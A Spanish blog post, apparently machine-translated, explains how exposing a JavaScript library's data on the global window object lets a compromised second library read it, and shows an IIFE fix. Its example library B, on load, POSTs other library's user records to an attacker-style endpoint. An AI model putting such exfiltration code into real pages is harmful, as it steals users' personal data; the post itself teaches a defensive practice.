Reducción de las brechas de seguridad en JavaScript al reducir la exposición global

May 02 2023
Comencemos este artículo con un escenario simple. Digamos que hay un ejemplo de sitio web.

Comencemos este artículo con un escenario simple. Digamos que hay un sitio web ejemplo.com, y este sitio web usa dos bibliotecas A y B. La biblioteca A está trabajando con algunos datos confidenciales, y es extremadamente importante que nadie tenga acceso no autorizado a ella. Ahora supongamos que example.com es muy popular y Eve analizó el sitio y vio que el sitio está usando las bibliotecas A y B. Analizó la biblioteca A y encontró la brecha de seguridad, que fue causada por la exposición global de los datos (vamos a discutir este tema en detalle a continuación). Ahora Eve ha pensado en cómo podría obtener acceso a la biblioteca A para poder extraer sus datos y elaboró ​​un plan que apuntaba a obtener acceso a la biblioteca B (supongamos que para Eve es fácil acceder al código fuente de la biblioteca B y cambiar it) y a través de la biblioteca B acceder al contenido de la biblioteca A.

Ahora hablemos de cómo Eva podría hacerlo. El código fuente de example.com se ve así:

<!DOCTYPE html>
<html>
  <head>
    <title>example.com</title>
  </head>
  <body>
    <script src="./library-a.js"></script>
    <script src="./example-com.js"></script>
    <script src="./library-b.js"></script>
  </body>
</html>

  1. Biblioteca A
  2. script de ejemplo.com
  3. biblioteca b
  4. // library-a.js
    
    class LibraryA {
      /**
       * @publicApi
       */
      init() {
        this.users = this.getUsers()
      }
    
      /**
       * @privateApi
       */
      getUsers() {
        // Let's assume that this data is fetched from the server.
        return [
          {
            firstName: 'John',
            lastName: 'Doe',
            email: '[email protected]',
            personalID: '000001'
          },
          {
            firstName: 'Jane',
            lastName: 'Doe',
            email: '[email protected]',
            personalID: '000002'
          }
        ]
      }
    }
    
    window.libraryA = new LibraryA()
    

    // example-com.js
    
    window.libraryA.init()
    

    // library-b.js
    
    class LibraryB {
      constructor() {
        this.sendDataToEve()
      }
    
      sendDataToEve() {
        // Eve's endpoint
        fetch('https://0123456789.com', {
          method: 'POST',
          body: JSON.stringify({ users: window.libraryA.users })
        })
      }
    }
    
    window.libraryB = new LibraryB()
    

Para corregir esta vulnerabilidad, podríamos usar la función IIFE (Expresión de función invocada inmediatamente) y exponer solo el método API público initde la siguiente manera:

// library-a.js

window.libraryA = (() => {
  class LibraryA {
    /**
     * @publicApi
     */
    init() {
      this.users = this.getUsers()
    }

    /**
     * @privateApi
     */
    getUsers() {
      // Let's assume that this data is fetched from the server.
      return [
        {
          firstName: 'John',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000001'
        },
        {
          firstName: 'Jane',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000002'
        }
      ]
    }
  }

  const _libraryA = new LibraryA()

  return {
    init: _libraryA.init.bind(_libraryA)
  }
})()

Gracias por leer este artículo, espero que lo hayas disfrutado. Puedes seguirme en Twitter .